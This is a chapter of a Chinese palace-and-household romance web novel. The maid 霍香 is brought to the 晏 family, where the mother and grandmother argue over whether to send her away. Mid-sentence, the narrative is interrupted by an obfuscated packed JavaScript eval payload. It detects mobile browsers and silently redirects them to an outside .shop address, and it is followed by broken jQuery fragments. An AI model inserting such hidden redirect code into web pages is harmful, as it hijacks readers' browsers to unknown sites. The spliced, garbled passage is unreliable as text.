文趣网 > 其他小说 > 公子通房跑路记 > 16. 第16章 庭院深深
    从崇文门进入,便是真正的京师,满街都是重阁红楼,熙来攘往。

    晏行止作为钦差返京,需要先到有司报备,向皇帝复命,便让远山先带着霍香回府,接着又在远山耳边交代了几句话。

    霍香听不清,只见远山听一句点一个头,最后露出一个疑惑的表情:“还要惊动老夫人?”

    “让你去你就去。”晏行止只道。

    “知道了。”远山答应了一句,便依言领着霍香回了晏家。

    路上,远山一句接一句嘱咐霍香:“待会儿我先带你到外院倒座房,你就坐着。若是夫人传你,你就去,该怎么答怎么答,别顶嘴。记住了吗?”

    霍香一边听,一边心底纳闷。

    大户人家,最讲究宗法规矩。她是外头来的丫鬟,归属内院,哪怕是府上公子带回来的,也得公子派人或者亲自带她,给主母过目。一则是体统,二则是孝道。晏大人暂不得空,所以将她暂时安置在外院等候,也算情理之中。

    但这说到底也不是什么大事,做母亲的也轻易不会拂儿子的面子,一切不过走过场,有敷衍的连面都懒得见。即使夫人对外来人心有疑虑,知道儿子带来的人已经到外院,也该装作什么也不晓得,等儿子回来,主动带人来请安。这是母亲的体面和权威。

    远山却一个劲说夫人跳过晏大人主动传唤她的事。

    不过各家有各家的经,下了水才知深浅,尝了梨才晓酸甜,霍香暂也想不了那么多,不过兵来将挡、水来土掩罢了,只连声答应远山。

    晏府和盐家很相似,也是北方的四合式,却更有一番精致华美,绣闼雕甍,丹楹刻桷。他们作为下人,只能从侧边角门进,上头也刷着鲜亮的红漆,楣上还绘着蓝绿色的如意卷草纹。

    霍香一个人坐在角落偏房里,目光从高几上的白玉观音瓶,扫到方盆里的水仙盆栽。忽然,她听到外面传来几声偷笑,侧头看去,竟有五六个丫鬟小厮趴着个脑袋在窗子上,转着双眼珠子看她。

    看热闹真是无论南北、不管老少,都热衷的事。

    不多时,一个嬷嬷打帘进来,穿着身深绿色袄子,头上别着几支素银簪子,问她:“你就是三公子带回来的藿香?”

    霍香连忙站起来,点头道是,又请问她的姓名。

    “我是夫人身边伺候的,姓杨,”她笑了笑,不过只是客气,没什么暖意,抬手比了个请的手势,“随我来吧,夫人要见你。”

    霍香心里一沉,想远山的话果然应验了。

    霍香提步正要跟上,心头灵光一闪,伸手脱下了斗篷,叠好,放到刚坐过的墩子上,才随杨嬷嬷而去。

    外头刺骨的北风吹过,仿若针砭,刺得霍香精神都抖擞了。

    进到内门,触目所及,又是另一副富丽光景。不过北方风格的院子似乎总不喜欢栽树,各处道路也是平直一条,更没有绕水隐山的乐趣,霍香莫名觉得有些压抑。

    但也七拐八绕地走了许久,最终到了东边一处院落,匾上书着“风华堂”三个大字。

    一个妇人正襟危坐在堂内,四十来岁的样子,衣着十分素净,一身的烟青色,不过领口绣着点花,头发上也没有太多点缀,只别着几支玉簪子。

    那眉眼几乎和晏大人生得一模一样,只是有些细微的纹路,不苟言笑时更有一股子高山深泉似的冷意,泼到霍香身上,淋淋地往下流。

    霍香一看便知这是晏母陆氏,连忙跪礼:“奴婢霍香,参见夫人。”

    陆氏眼皮微压,声音缓得有点慢:“你就是度卿带回来的丫头?”

    霍香早在徐州刘家就听过“度卿”二字,晓得是晏大人的大名,点头回答:“回夫人的话,奴婢正是公子救下的丫头。”

    声音也同夜莺一样,带着讨巧的甜腻。

    陆氏的眼角更紧了,俯视着少女——溜肩细腰软身条,从头到脚都是很鲜亮的颜色,又是扬州来的。

    一等一的烟花之地、温柔之乡,最能磨人心志。

    陆氏悠悠撇开头,端起手边豆青色的茶盏,淡声道:“我听远山说了你的事。你既帮过度卿,也便是帮了晏家。度卿见你孤苦,把你带回来,晏家也不会亏待你。正好,城外庄子缺几个人手,你且去……”

    话音未落,外面传来丫头的通禀:“夫人,老夫人来了。”

    陆氏霎时变了脸色,搁下杯子便要出去迎接,一个头发花白的老太太已经进来,旁边还有一个紫衣裳的婢女虚扶着。

    陆氏也赶忙上前搀扶,担心问:“母亲怎么来了?有什么事知会儿媳一声便是。”

    老夫人动作虽慢,但精神矍铄。她缓缓坐到主座上,蔼然笑道:“我晓得你是个勤谨的,府中大大小小的事务也都是你操持,忙碌辛苦。我也来看看你。”

    “劳母亲挂心了。”陆氏礼数周全地奉茶给田老夫人。

    老夫人接过放到了一边,摆手示意陆氏坐下,又瞧了一眼地上跪着的少女,饶有兴致问:“这就是老三带回来的那个丫头?”

    陆氏微笑颔首,“正是。”

    “抬起头来,我看看。”老夫人冲霍香抬了抬下巴。

    霍香依言抬头。

    少女皎润小巧的脸,在领边一圈雪白绒毛的簇拥下,显得更加白皙了,就像颗百合。

    “倒是个水灵的,”老夫人满意地点了点头,“别老跪着了,起来吧。”

    这话却难住了霍香。起来似乎有点不尊重陆氏,不起来又好像有点不尊重老夫人。

    她就像个夹在婆媳之间的丈夫,左右得罪不起。

    秉持着老吾老以及人之老的原则,霍香最终还是道谢站了起来。

    又听老夫人问陆氏:“我刚才好像听到,你正要处置她?”

    这问法似乎有些不满之意。

    陆氏笑容依旧,“度卿奉旨出京办差,却带回来一个女子,又未娶妻,传出去委实不成体统。我的意思,是送她到城外庄子。”

    老夫人也怅然道:“是啊,老三已经二十有一,莫说娶妻,身边连个知暖知热的人也没有,一心扑到政务上。你安排的那些相看,他也都不去,只说没空……我老后悔当年送他去佛寺里养病,修得一身六根清净。如今,他好不容易有个看得上眼的,愿意带回来,你个做娘的又何必阻拦?我看这丫头出落得也算亭亭玉立,留给他又能如何?”

    这便是怪做娘的不好了,还使出了苦肉计。

    陆氏抿紧了唇,面色为难道:“正是度卿还未娶妻,更不能先有妾室,平白让人笑话。”

    老夫人轻笑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491090|202227||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,“如何就说到纳妾了?不过是多个伺候的人。若按这个笑话,那满京城都是笑话了。”

    陆氏随笑,如何还看不出来,老夫人这是晓得她会处置此女,专门来提点她。百善孝为先,她个做儿媳的,当然不能忤逆婆母的意思,于是问:“那母亲觉得该怎么办?”

    老夫人不接茬,只道:“你是管家的,当然一切依你做主。”

    陆氏微不可察地叹出一口气,又扫了一眼瑟缩在旁的霍香,道:“到底是外面来的,怕是不懂规矩,先跟着杨嬷嬷学,学好了,再送去攸宁居吧。”

    老夫人这才喝了那茶,由旁边的婢女搀着离开。

    霍香在底下听着,不由想起远山的话。府上的人真真各个仁善好相与吗?她怎么瞧着这对婆媳,不是很简单的样子。

    不过他们做下人的,哪有和主子相与的,连门都不走同一扇。这两位夫人的担心也都有点多余,晏大人既不六根清净,至少根能用,但也不想和她有点什么。

    陆氏送完老夫人回来,站到她面前,一双寒潭似的眼睛又在她衣服上挑了一眼。

    “杨嬷嬷,”陆氏吩咐道,“带她先把这身衣服换了,花花绿绿的。你再好好教教她,别把外头的坏习惯带进来。”

    霍香低头,瞅见自己袖口的绒毛,想陆夫人和晏大人的审美似乎也不太一样,幸亏她看杨嬷嬷衣装简素,脱了那件鲜红色的斗篷。

    ***

    杨嬷嬷带霍香去了风华堂后罩房安顿,又给她找来了晏家下人的服饰,一水的靛蓝色。

    这颜色好,耐脏,而且也是极上乘的料子。但霍香原来那些偏俏丽的衣服也不能穿了,霍香未免有些心疼。

    在他们家,过年也未必有这么好的衣服,说压箱底就压箱底了。

    然而为了不在主母面前讨嫌,也只能束之高阁。

    霍香又折返去找了自己的斗篷,却完全不见踪迹,问了一圈也没人看见。

    晏家这么富贵的地方,里头的仆人竟然也有眼皮子浅、手爪子多的!霍香恨恨想,却也不能生事,憋了一肚子气回了风华堂。

    负责教规矩的杨嬷嬷原是陆氏的陪房,品性和陆氏也极相似,处处讲规矩,面面要得体,教导也十分严苛。

    霍香当初在黄家学过一个月的皮毛,也算有点底子,又想着早日去攸宁居,是以十分认真,可也被揪了好几天的错,后又让她绣花。

    绣花似乎不当属于学规矩的范畴,不过陆夫人当初说的是“学好了再送”,也没说具体学什么。一个“好”字,也很看人的说法。

    冬日光线阴暗,一针一线,直熬得人眼疼。天气也冰寒,没几针,手指便冻得不可屈伸。

    每每这个时候,霍香便把手捂到大腿间暖暖再拿出来。

    霍香对着熠熠生辉的针尖,突然有点怀念和远山、晏大人在路上的日子了,那可真是自由自在。

    她寻思做点什么,又害怕心眼太多,更招陆氏厌烦,以为她不安分,勾引她儿子,名正言顺给她打发了。

    说起来,她也有许久不曾见到远山和晏大人了。

    这天,霍香从风华堂后面的园子经过,却看到晏大人,正在陪着陆氏说话。陆氏谈到什么表妹,晏大人的表情却隐隐透着点心不在焉。